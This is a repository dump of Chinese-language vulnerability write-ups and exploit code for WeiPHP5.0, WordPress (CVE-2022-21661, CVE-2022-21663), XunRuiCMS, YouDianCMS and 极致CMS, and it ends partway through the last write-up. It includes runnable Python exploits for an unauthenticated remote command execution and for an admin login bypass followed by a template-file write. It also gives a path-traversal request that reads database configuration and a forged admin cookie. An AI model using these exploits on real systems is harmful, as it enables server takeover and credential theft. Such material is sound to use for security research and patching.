`http://wiki.peiqi.tech/wiki/cms/WeiPHP/WeiPHP5.0%20bind_follow%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html` 45 | 46 | 47 | 48 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /WeiPHP/WeiPHP5.0 任意用户Cookie伪造.md: -------------------------------------------------------------------------------- 1 | # WeiPHP5.0 任意用户Cookie伪造 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞简介 6 | 7 | `WeiPHP5.0`是在2019年停止更新的一个系统,漏洞挺多的,跟着复现分析一下,这里复现一下 `WeiPHP5.0`的任意用户 `Cookie`伪造漏洞 8 | 9 | ## 影响范围 10 | 11 | `WeiPHP5.0`最新版 12 | 13 | 可以据此下载 14 | 15 | https://www.weiphp.cn/doc/download_source_installation.html 16 | 17 | ## 漏洞复现 18 | 19 | 首先要利用前些天发布的 [WeiPHP5.0 前台任意文件读取](https://mp.weixin.qq.com/s?__biz=Mzg2Mzc2OTM0OQ==&mid=2247483782&idx=1&sn=cf245173b17817006375afb705167985&chksm=ce72c7ecf9054efa2495d2ad1ee2bd7be66bd2b638c84dc10cf971df7048717e239dd4e12c19&token=646394225&lang=zh_CN#rd) 读取 `data_auth_key` 20 | 21 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1652363316312-37768b1d-d740-4f49-9ad7-5df887591a52.png) 22 | 23 | 访问 `/index.php/home/file/user_pics`后下载该文件 24 | 25 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1652363372337-4f582642-dba2-4286-b9fe-ae8d091dde9e.png) 26 | 27 | 找到 `data_auth_key`的值为 28 | 29 | ```php 30 | 'data_auth_key' => 'kE^&%X.IpoDq2US*n!u>@G8+#Rd{_]a@G8+#Rd{_]a 76 | ``` 77 | 78 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1652363741220-9965dd38-56aa-4788-9448-e6a54d77d372.png) 79 | 80 | 因此可以构造 81 | 82 | ```php 83 | user_id=MDAwMDAwMDAwMIC1cp4 84 | ``` 85 | 86 | 利用 `hackerbar`即可登录 `admin` 87 | 88 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1652363859301-b4f78d46-2c90-4fcf-8420-b44af42f34d9.png) 89 | 90 | ## 总结 91 | 92 | 这个漏洞利用的前提是获得 `data_auth_key`,本文中是结合了前台任意文件读取漏洞获取,总体来说,如果该前台任意文件读取漏洞被补掉之后,这个洞就几乎无用武之地了。 93 | 94 | ## 参考链接 95 | 96 | - `http://wiki.peiqi.tech/wiki/cms/WeiPHP/WeiPHP5.0%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7Cookie%E4%BC%AA%E9%80%A0%20CNVD-2021-09693.html#weiphp5-0-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7cookie%E4%BC%AA%E9%80%A0-cnvd-2021-09693` 97 | 98 | 99 | 100 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 101 | 102 | -------------------------------------------------------------------------------- /WeiPHP/WeiPHP5.0 前台任意文件上传漏洞.md: -------------------------------------------------------------------------------- 1 | # WeiPHP5.0 前台任意文件上传漏洞 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | `WeiPHP5.0`是在2019年停止更新的一个系统,漏洞挺多的,跟着复现分析一下,这里复现一下 `WeiPHP5.0`的前台任意文件上传漏洞 8 | 9 | ## 漏洞影响 10 | 11 | `WeiPHP5.0`最新版 12 | 13 | 可以据此下载 14 | 15 | https://www.weiphp.cn/doc/download_source_installation.html 16 | 17 | ## 漏洞复现 18 | 19 | 存在一个 `upload_root` 方法是可以前台访问的,因为只使用了 `php` 黑名单过滤,因此存在多种绕过方式 20 | 21 | ### 法一:错误配置 22 | 23 | 有些系统默认可以解析 `phtml `, `php5` 等文件,可以利用该方法绕过 24 | 25 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1644771779522-6b3b4f27-3ff5-498c-9fd4-212bf9417249.png) 26 | 27 | ### 法二:windows特性 28 | 29 | 对于使用 `windows` 搭建的系统,可以通过 `windows` 流来绕过 30 | 31 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1644845087028-dd6efc77-a077-4429-8f02-72ea0857e683.png) 32 | 33 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650726323618-c0e94302-e218-4d11-b66b-6d6398c847e8.png) 34 | 35 | ## 总结 36 | 37 | 本文只讲了两种特定情况下上传的方法,但是肯定还有其他的方式可以使用,本文仅做抛砖引玉。 38 | 39 | 40 | 41 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 42 | 43 | -------------------------------------------------------------------------------- /WeiPHP/WeiPHP5.0 前台任意文件读取.md: -------------------------------------------------------------------------------- 1 | # WeiPHP5.0 前台任意文件读取 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | `WeiPHP5.0`是在2019年停止更新的一个系统,漏洞挺多的,跟着复现分析一下,这里复现一下 `WeiPHP5.0`的前台任意文件读取漏洞 8 | 9 | ## 漏洞影响 10 | 11 | `WeiPHP5.0`最新版 12 | 13 | 可以据此下载 14 | 15 | https://www.weiphp.cn/doc/download_source_installation.html 16 | 17 | ## 漏洞复现 18 | 19 | 使用这个漏洞,需要先以普通用户身份登录系统,然后可以直接访问 20 | 21 | ```php 22 | /index.php/material/Material/_download_imgage?media_id=1&picUrl=../config/database.php 23 | ``` 24 | 25 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650805573704-e16bcb34-cdbc-42f9-bff4-c3437f72fd12.png) 26 | 27 | 这样会将 `../config/database.php`的内容读取出来,写入图片中,但是不会返回路径 28 | 29 | 接下来我们访问如下路径 30 | 31 | ```php 32 | /index.php/home/file/user_pics 33 | ``` 34 | 35 | 这样可以看到一些图片 36 | 37 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650805651126-489cff34-a945-4c72-b7c9-1968a09c8b4c.png) 38 | 39 | 访问该图片,是损坏的 40 | 41 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650805728192-b2b08cea-c299-4714-912f-312819526b06.png) 42 | 43 | 下载下来,记事本查看内容 44 | 45 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650805995699-87733775-ab40-432c-98f4-ebb18a464f8e.png) 46 | 47 | ## 总结 48 | 49 | 发现该文件读取漏洞本身是不难的,非常明显,难的是获取到其写入的文件名,并且能找到一个可以展示出来的页面。这虽然是一个前台漏洞,但实际上也是需要一个普通用户权限登录的,另外,通过这个洞,我还获取到了另外一个可能的漏洞,有可能可以获取到一个小 `0day`,之后再分享给大家。 50 | 51 | ## 参考链接 52 | 53 | - https://blog.csdn.net/solitudi/article/details/11656749 54 | 55 | 56 | 57 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 58 | 59 | -------------------------------------------------------------------------------- /WordPress/CVE-2022-21661 WordPress 5.8.3 SQL注入漏洞.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-21661 WordPress 5.8.3 SQL注入漏洞 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | > 本文由本人在今年2月份发表于奇安信攻防社区 https://forum.butian.net/share/1324 ,因此在一些关于时间的描述上存在误差,请谅解。 6 | 7 | ## 0x00 漏洞描述 8 | 9 | 这是最近爆出来的一个 `wordpress`的`SQL`注入漏洞,实际上不是一个可以直接利用的洞,而是`wordpress`的一个核心函数 `WP_Query`的漏洞,这个函数常被插件使用,因此能造成的危害也挺大,前台后台都有可能。 10 | 11 | ## 0x01 漏洞影响 12 | 13 | `wordpress < 5.8.3` 14 | 这里是修复链接 15 | [https://github.com/WordPress/WordPress/commit/6f7032dcf423b67f90381d4f29a90d16f4829070](https://github.com/WordPress/WordPress/commit/6f7032dcf423b67f90381d4f29a90d16f4829070) 16 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645102019548-1c3129e9-7c36-4ce2-9de3-8cd16cb0ae77.png) 17 | 我们 `git`下载后,恢复到上一个版本 18 | 19 | ```php 20 | git clone https://github.com/WordPress/WordPress 21 | git checkout 266c58518846 22 | ``` 23 | 24 | ## 0x02 漏洞分析 25 | 26 | 因为此漏洞在插件中出现较多,因此这里我们也造一个插件来进行测试复现,网上已经有师傅写好了 `demo`,我这里直接用 27 | 28 | ```php 29 | query_vars`赋值给了 `$q`,然后还加入了一些其他的参数,因此 `$q`部分可控,继续往下看 67 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645105048461-3fc7776d-941d-4d52-95f0-9975d9fe1fa5.png) 68 | `$this->is_singular`默认为 `false`,进入 `if`语句,然后使用 `parse_tax_query`方法处理 `$q`,我们看看代码 69 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645340595117-4f864e36-96ca-4bf9-968e-33c3e2e2d0fe.png) 70 | 在这里,`$q`中存在的一些值会赋值给 `$tax_query`,比如,`$q`中存在 `tax_query`这个键并且是数组的时候,就会将他的值存入 `$tax_query`,拉到最后可以看到实例化了 `WP_Tax_Query`,而 `$tax_query`的值就会作为初始化的值传入 `WP_Tax_Query` 71 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645340962424-faaba21b-6d7a-4359-a1cb-62f87e39c70a.png) 72 | 看到 `wp-includes/class-wp-tax-query.php`中的 `__construct` 73 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645341126441-5696c72f-5575-4977-b827-17a1da1dcfc7.png) 74 | 跟进 `sanitize_query`方法 75 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645356871711-d4b92b4a-59b2-4932-b26c-553a4ab1afa9.png) 76 | 这里是对 `$queries`的一些处理,返回值为 `$cleaned_query`,因此要找到可控的赋值 77 | `foreach`遍历 `$queries`,使用`is_first_order_clause`进行判断 78 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645369819185-0728e203-6978-416a-87f5-74f6db6d42b7.png) 79 | `$query`中存在一个值为数组,且数组的键为 `terms`就进入该分支,`$queries` 部分可控,因此很容易满足这个条件,最后和 `defaults`合并后存入 `$cleaned_query` 80 | 这里返回后的数据最后会赋值给 `$this->queries`,后面会用到这个数据 81 | 回到比较上面的`$this->tax_query->get_sql`,进入 `wp-includes/class-wp-tax-query.php`的 `get_sql`方法 82 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645107644418-acac8222-7735-4e62-b20c-3d04a08d67a6.png) 83 | 继续跟进 `get_sql_clauses`方法 84 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645107786798-70da1fb4-92a8-49eb-90be-5a0af23a5d7a.png) 85 | 这里就将 `$this->queries`取出来了,然后进入 `get_sql_for_query`方法 86 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645109146065-168ca4d9-2bd8-46cd-ab6e-8e128dcfef3f.png) 87 | 遍历 `$query`,当 `$clause`为数组时,进入 `elseif`分支,再跟进 `is_first_order_clause`方法进行判断 88 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645109296540-adb8ff54-9bfb-43eb-8314-2db1e6abff59.png) 89 | 这个判断很简单,为数组且包含 `terms`这个键时为真,继续跟进上面的 `get_sql_for_clause` 90 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645109675055-b98c4529-6679-4a87-b062-e5fc4b9253f6.png) 91 | 主要看到这个 `clean_query`方法,也是漏洞点所在的位置,这实际上是一个用于过滤潜在的危险的函数 92 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645109756537-8e1e4e30-45d8-4869-b87f-e8cb01102056.png) 93 | 前面的都是一些简单的判断,很容易就可以绕过,`$query['terms']`去重,最后进入 `transform_query`方法 94 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645110303953-72fa8b9d-66fe-4521-93d7-5c719cbcf207.png) 95 | 满足条件 `$query['field'] == $resulting_field`即可绕过这个方法,不进行其他操作 96 | 回到 `get_sql_for_clause`方法,执行完 `clean_query`后的代码如下 97 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645110644316-5c34cca6-eb90-448b-99ed-b2b380cc3b8c.png) 98 | `$terms`接收 `clean_query`方法处理过的 `$clause['terms']`,当 `$operator`为 `NOT IN`时,就会拼接 `SQL`语句,造成注入,进入其他分支也是可以的,都一样,后面就不用讲了。 99 | 100 | ## 0x03 漏洞复现 101 | 102 | ![image.png](https://cdn.nlark.com/yuque/0/2022/png/22586461/1645371797533-b52f553e-d0e1-4afb-af14-b7fe762dd1f3.png) 103 | 注意右下角的延时 104 | 105 | ## 0x04 总结 106 | 107 | `wordpress`的漏洞还是比较少的,尤其是这种核心漏洞,使用到这个函数的插件很容易受到影响,又很难受到影响,很容易是因为使用的插件还是很多的,很难是因为输入的参数存在转义,所以需要很多的凑巧才能成功利用,不过存在一个比较大的基数,找到受影响的应该不难,连续分析了两个 `wordpress`近期的漏洞,给我的感觉就是,大的系统不是没有漏洞,而是缺少挖到他的人。 108 | 109 | ## 0x05 链接 110 | 111 | 目前在学代码审计,对此感兴趣的师傅可以加好友一起交流学习 112 | 113 | 环境与 `exp` 都可以在如下链接获取 114 | 115 | ### GitHub 116 | 117 | https://github.com/d5shenwu/vulPOC 118 | 119 | -------------------------------------------------------------------------------- /WordPress/CVE-2022-21663 WordPress 5.8.3 对象注入漏洞.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-21663 wordpress <5.8.3 对象注入漏洞 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | > 本文由本人在今年2月份发表于奇安信攻防社区 https://forum.butian.net/share/1303 ,因此在一些关于时间的描述上存在误差,请谅解。 6 | 7 | ## 0x00 漏洞描述 8 | 9 | 看了 `wordpress`注入( `CVE-2022-21661` )的洞之后,发现还存在另外一个对象注入漏洞,具有管理员权限的用户通过更改一些选项,将有机会 `getshell`。 10 | 11 | ## 0x01 漏洞影响 12 | 13 | `getshell`的条件: 14 | 15 | - `wordpress < 5.8.3` 16 | 17 | - 启用多站点模式 18 | - 存在一条可用的反序列化链(在本文中不会讲这个) 19 | 20 | 这是 `github`上的漏洞修复记录 21 | 22 | ``` 23 | https://github.com/WordPress/WordPress/commit/66bb979049fa1a515d031e53ab100d507ed7bc8b 24 | ``` 25 | 26 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645017413692-340e0a04-00f9-4ac1-be41-896ad2f07c85.png) 27 | 28 | 因此这里的环境选择前一条提交 29 | 30 | ```php 31 | git clone https://github.com/WordPress/WordPress 32 | git checkout 7d20ea9 33 | ``` 34 | 35 | ## 0x02 漏洞分析 36 | 37 | 这里是以我复现这个漏洞时候的角度来分析的,因此会有一些弯路 38 | 39 | ### 漏洞入口点 40 | 41 | 首先来到 `wp-admin/upgrade.php`,这是管理员可以直接访问到的文件,也是我认为的此漏洞的入口点。 42 | 43 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645016015891-21b5b1a1-46d9-404a-8801-e6c89a6f7fbc.png) 44 | 45 | 跟进 `wp_upgrade`函数,来到 `wp-admin/includes/upgrade.php` 46 | 47 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645016103918-353490ff-585c-4a2a-960a-330be6f1acad.png) 48 | 49 | 首先看几个全局变量,`$wp_db_version`在 `wp-includes/version.php`中定义,根据其定义处的注释来看,这是本安装程序的数据库版本,在下一行中从数据库中取出了 `db_version`赋值给 `$wp_current_db_version`,看这情况,大概是一个是固定的数据库版本,另一个是可变的,`upgrade.php`会时不时地比较,当发生改变时,会进行一些操作 50 | 51 | 接下来看到我下的断点处,进入 `upgrade_all()`函数 52 | 53 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645016595248-a63a464a-0cbc-4203-bfe2-b192e18d0227.png) 54 | 55 | 这里就是在将两个版本进行比较,一致时不发生任何变化,不一致时运行后面的代码,接着看下面 56 | 57 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645016658540-437ff7af-3fdb-414f-ba4a-db536ec3197f.png) 58 | 59 | 根据从数据库中取出的 `db_version`也就是此处的 `$wp_current_db_version`的大小,会进行不同的处理,我们来关注断点处的 `upgrade_280`函数 60 | 61 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645016845600-d2145051-be96-4802-9733-ba339c957596.png) 62 | 63 | 看到 1611 行的 `is_multisite()`,跟进 64 | 65 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645016943319-8531ffcb-c3ff-4525-bce6-849147549291.png) 66 | 67 | 这是一个判断是否开启了多站点的函数,这也是本漏洞的一个开启条件,必须要开启多站点才可以。开多站点需要改配置文件,我这里图省事儿,直接改了判断条件 `!is_multisite()`,强行让他绕过了 68 | 69 | 继续看上面,进入循环,每次从 `wp_options`表中取 20 条数据,将每一条数据都进行反序列化,漏洞的点就在此处了,因为 `wp_options`中的数据大部分都是可控的,我们可以通过管理员修改其值,最后进入反序列化。 70 | 71 | 还有两个问题,第一,如何控制 `db_version`的值,让他进入我们想要进入的函数;第二,如何更改 `wp_options`中的值。 72 | 73 | ### 数据写入 74 | 75 | 其实这两个是同一个问题,一并解决,`wordpress`后台没有直接访问所有 `options`的按钮,但我们可以访问 `wp-admin/options.php` 76 | 77 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645017818708-9ea5b601-fcba-4f81-ad90-1c66eb516163.png) 78 | 79 | 这里可以更改 `db_options`中大部分的值,包括 `db_version`,我们将其修改为 10300,就满足了进入漏洞函数的要求,接下来我们尝试写入反序列化字符串 80 | 81 | 我们先随便选择一个选项写入反序列化字符串,这里我首先选择的是 `blogdescription`,也就是博客描述,这个也可以在常规选项中更改(更建议,因为需要处理的值会更少,调试没那么费力),`post`的数据会逐个进入 `wp-includes/option.php`中的 `update_option`,来看几个比较重要的函数(PS:太长截图截不完) 82 | 83 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645018862918-8acd7c3e-15ce-4cda-a723-210ef2901ffe.png) 84 | 85 | 这里首先说明一下 `$option`是每个选项的键,`$value`是每个选项的值 86 | 87 | 首先看到 `sanitize_option` 88 | 89 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645019077487-63d2de3b-61aa-4518-b451-da43f296998b.png) 90 | 91 | 这个函数会根据不同的键来选择不同的处理方式,比如一些一定会用整数的,就会`intval`处理,所以选择的选项也是有讲究的,我之前选择的`blogdescription`,就因为这个函数而无法使用,他会将一些特殊字符编码,导致无法正常反序列化,这个可以慢慢尝试,尽量选择这个函数不会进行太多处理的选项 92 | 93 | 最终我选择的是 `wp-admin/options-writing.php`中的 “密码”(选择 `options.php`中的`mailserver_pass`也一样,是同一个),一般来说,密码对字符都不会有太多的限制,至少这里是的 94 | 95 | 回到之前的 `update_option`的代码,稍微注意一下这里的比较 96 | 97 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645019573871-fdeab791-ede5-4600-a056-4f7078ebbd2f.png) 98 | 99 | 如果我们输入的选择没有发生改变,就不会继续后面的代码,继续往下走,进入 `wp-includes/functions.php`中的`maybe_serialize`函数 100 | 101 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645019673851-234d1ec8-df55-4aca-9061-e5135495d0b3.png) 102 | 103 | 如果是数组或者对象,那么会直接序列化后返回。然后进入 `is_serialized`函数 104 | 105 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645019938888-04cd4b78-79fd-4241-b3af-ff47887561e6.png) 106 | 107 | 这里会取字符串的第一个字符进行比较,这里几乎囊括了反序列化字符串的所有类型,遇到是这一些的,返回后会再次反序列化,也就是进行了二次反序列化,这样几乎是防止了可能的反序列化。 108 | 109 | 这里遗漏了一个 `C`类型,官方文档对他的描述是 `custom object`,自定义对象,这个以前几乎没有用到过,因此这次进行了一次测试 110 | 111 | 代码: 112 | 113 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645020351734-9990d977-de53-4a24-aca9-bd63b028f825.png) 114 | 115 | 结果 116 | 117 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645020369446-b14a18bd-de76-4cff-a147-8a6be7c72f58.png) 118 | 119 | 同一个类,将类型从 `O`修改为了 `C`,反序列化运行后,虽然报错,但最后仍然会触发 `__destruct`方法,因此我们可以将一个正常的反序列化字符串,将第一个字符 `O`修改为 `C`,这样就可以逃过这里的二次反序列化,从而将我们的反序列化字符串写入数据库,等待触发即可。 120 | 121 | ## 0x03 漏洞复现 122 | 123 | 本菜鸡找不到 `wordpress`的链子,只能随意触发一个 `__destruct`意思意思 124 | 125 | 这里使用 `wp-includes/Requests/Transport/cURL.php`中的 `Requests_Transport_cURL`类 126 | 127 | ```php 128 | C:23:"Requests_Transport_cURL":0:{} 129 | ``` 130 | 131 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645023884766-f85640ae-ec93-4dc7-8628-ac65c61c434b.png) 132 | 133 | 查看数据库,并没有被二次序列化 134 | 135 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645023970947-30b7edf1-91c0-48c7-bc57-5b393204ccfd.png) 136 | 137 | 来到`wp-admin/options.php`,将 `db_version`修改为 10300 138 | 139 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645023029331-b66ec169-d09a-4e68-99bf-e518e70d140a.png) 140 | 141 | 这里一个意外的发现,修改数据库的时候就会触发漏洞入口 142 | 143 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645023123738-90cfe6b9-ba3c-4223-bc49-51f3bbb56096.png) 144 | 145 | 成功取出数据库中的反序列化串,并且执行反序列化 146 | 147 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645024213088-02a0060d-93be-4e5b-8af9-b9fe7e7b1d9a.png) 148 | 149 | 触发 `__destruct`方法 150 | 151 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/1645024236432-924e1694-930c-4678-bd14-82905aed5cb9.png) 152 | 153 | ## 0x04 总结 154 | 155 | 坑点不少,需要多琢磨,不说了,还是太菜了,都没法搞条链子。 156 | 157 | ## 0x05 链接 158 | 159 | 目前在学代码审计,对此感兴趣的师傅可以加好友一起交流学习 160 | 161 | 环境与 `exp` 都可以在如下链接获取 162 | 163 | ### GitHub 164 | 165 | https://github.com/d5shenwu/vulPOC 166 | 167 | -------------------------------------------------------------------------------- /XunRuiCMS/XunRuiCMS Unauth RCE/README.md: -------------------------------------------------------------------------------- 1 | ## XunRui CMS Unauth RCE 2 | 3 | ### 漏洞简介 4 | 5 | 先后在两篇文章中看到了这个cms,利用方式感觉很有意思,遂跟着复现一波写下了这篇文章。 6 | 7 | ### 影响范围 8 | 9 | 影响在此修复之前的版本 https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51 10 | 11 | 此处测试环境为修复的前一个版本,可 git 下载后执行命令 12 | 13 | ```php 14 | git checkout fad7b01 15 | ``` 16 | 17 | ### 漏洞利用 18 | 19 | ``` 20 | python3 xunrui_cms_unauth_RCE.py http://localhost calc.exe 21 | ``` 22 | 23 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1644334744634-94e79d78-cf97-4ec2-a5a3-d576a8405421.png) 24 | 25 | ### 漏洞分析 26 | 27 | https://www.cnsuc.net/thread-82.htm 28 | 29 | -------------------------------------------------------------------------------- /XunRuiCMS/XunRuiCMS Unauth RCE/XunRuiCMS 前台RCE漏洞.md: -------------------------------------------------------------------------------- 1 | # XunRuiCMS 前台RCE漏洞 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | 先后在两篇文章中看到了这个`cms`,利用方式感觉很有意思,遂跟着复现一波写下了这篇文章。 8 | 9 | ## 漏洞影响 10 | 11 | 影响在此修复之前的版本 12 | 13 | https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51 14 | 15 | 此处测试环境为修复的前一个版本,可 `git` 下载后执行命令 16 | 17 | ``` 18 | git checkout fad7b01 19 | ``` 20 | 21 | ## 漏洞复现 22 | 23 | 实际上是这个洞分为两部分,一部分是变量覆盖,另一部分是文件包含。这里通过变量覆盖可以控制写入 `html` 文件的内容,最后通过文件包含导致了命令执行。 24 | 25 | 因为调用 `display`的地方使用了 `ob_start`,因此一般的命令都没有回显,所以使用的弹计算器的方式 26 | 27 | 自己弹了一下自己,只是我的计算器早就被我删了(注:下面的 `www.xunruicms.com` 是我本地的命名,与其他地方无关 ) 28 | 29 | ```php 30 | python3 xunrui_cms_unauth_RCE.py http://www.xunruicms.com calc.exe 31 | ``` 32 | 33 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1644334744634-94e79d78-cf97-4ec2-a5a3-d576a8405421.png) 34 | 35 | ## 总结 36 | 37 | 利用方式很有意思,但是有一点点复杂,有兴趣的话可以自己手调一下,会有更多的收获的,若是有什么疑问的地方,欢迎私聊交流讨论。 38 | 39 | ## 参考链接 40 | 41 | - [https://xz.aliyun.com/t/10002](https://xz.aliyun.com/t/10002) 42 | - https://forum.butian.net/share/1072 43 | 44 | 45 | 46 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 47 | 48 | -------------------------------------------------------------------------------- /XunRuiCMS/XunRuiCMS Unauth RCE/xunrui_cms_unauth_RCE.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import requests 3 | 4 | 5 | def run(target, cmd): 6 | url = "%s/?s=api&c=api&m=template&name=aaa&phpcmf_name=api_related.html&phpcmf_dir=admin&\ 7 | mid=a action=function name=system param=%s" % (target, cmd) 8 | requests.get(url) 9 | 10 | 11 | if __name__ == '__main__': 12 | if len(sys.argv) < 3: 13 | print("[!] python3 xunrui_cms_unauth_RCE.py http://localhost calc.exe") 14 | exit() 15 | target = sys.argv[1] 16 | cmd = sys.argv[2] 17 | run(target, cmd) 18 | -------------------------------------------------------------------------------- /YouDianCMS/YouDian CMS Auth Bypass and RCE/README.md: -------------------------------------------------------------------------------- 1 | ## YouDian CMS Auth Bypass and RCE 2 | 3 | ### 漏洞简介 4 | 5 | 这里包含两个漏洞,友点cms登录绕过以及后台getshell 6 | 7 | ### 影响范围 8 | 9 | youdiancms <=9.1 10 | 11 | ### 漏洞利用 12 | 13 | ``` 14 | python3 youdian_auth_bypass_and_rce.py http://127.0.0.1 15 | ``` 16 | 17 | ### 漏洞分析 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /YouDianCMS/YouDian CMS Auth Bypass and RCE/youdian_auth_bypass_and_rce.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | def run(url): 5 | while True: 6 | url1 = url + "/index.php?a=verifyCode&verify=AdminID" 7 | url2 = url + "/index.php?a=verifyCode&verify=AdminName" 8 | url3 = url + "/index.php?a=verifyCode&verify=AdminGroupID&length=2&mode=1" 9 | adminurl = url + "/index.php/Admin/Public/AdminLeft/MenuTopID/7" 10 | s = requests.session() 11 | s.get(url1) 12 | print(s.cookies) 13 | s.get(url2) 14 | s.get(url3) 15 | html = s.get(adminurl).text 16 | if '模板' in html: 17 | editurl = url + '/index.php/Admin/template/saveModify' 18 | data = { 19 | 'FileName': '/Public/header.html', 20 | 'FileContent': "" 21 | } 22 | s.post(editurl, data=data) 23 | print("[+] " + url + "/index.php/") 24 | break 25 | 26 | if __name__ == '__main__': 27 | if len(sys.argv) < 2: 28 | print("[!] python3 youdian_auth_bypass_and_rce.py http://127.0.0.1/youdiancms") 29 | exit() 30 | url = sys.argv[1] 31 | run(url) -------------------------------------------------------------------------------- /template.md: -------------------------------------------------------------------------------- 1 | # Title 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 0x00 漏洞描述 6 | 7 | 8 | 9 | ## 0x01 漏洞影响 10 | 11 | 12 | 13 | ## 0x02 漏洞分析 14 | 15 | 16 | 17 | 18 | 19 | ## 0x03 漏洞复现 20 | 21 | 22 | 23 | 24 | 25 | ## 0x04 总结 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /极致CMS/极致CMS1.7 前台SQL注入(CNVD-2021-26000)/极致CMS1.7 前台SQL注入(CNVD-2021-26000).md: -------------------------------------------------------------------------------- 1 | # 极致CMS1.7 前台SQL注入(CNVD-2021-26000) 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 0x00 漏洞描述 6 | 7 | 最近在 CNVD 上看到的 CNVD-2021-26000,后边学弟给了一份大佬的分析文章,可惜后来找不到了,可以前台 `SQL` 注入,比较有意思。 8 | 9 | ## 0x01 漏洞影响 10 | 11 | 极致CMS1.7 12 | 13 | ## 0x02 漏洞分析 14 | 15 | 既然说是前台 `SQL` 注入,那么漏洞应该是出在 `Home` 文件夹下,那么就重点观察这下面的 `Controller` 16 | 17 | 这里的 `SQL` 都是这样处理的 18 | 19 | ```php 20 | M('message')->add($w); 21 | ``` 22 | 23 | 这里的话,M 是一个函数,主要用来获取一个新的实例 24 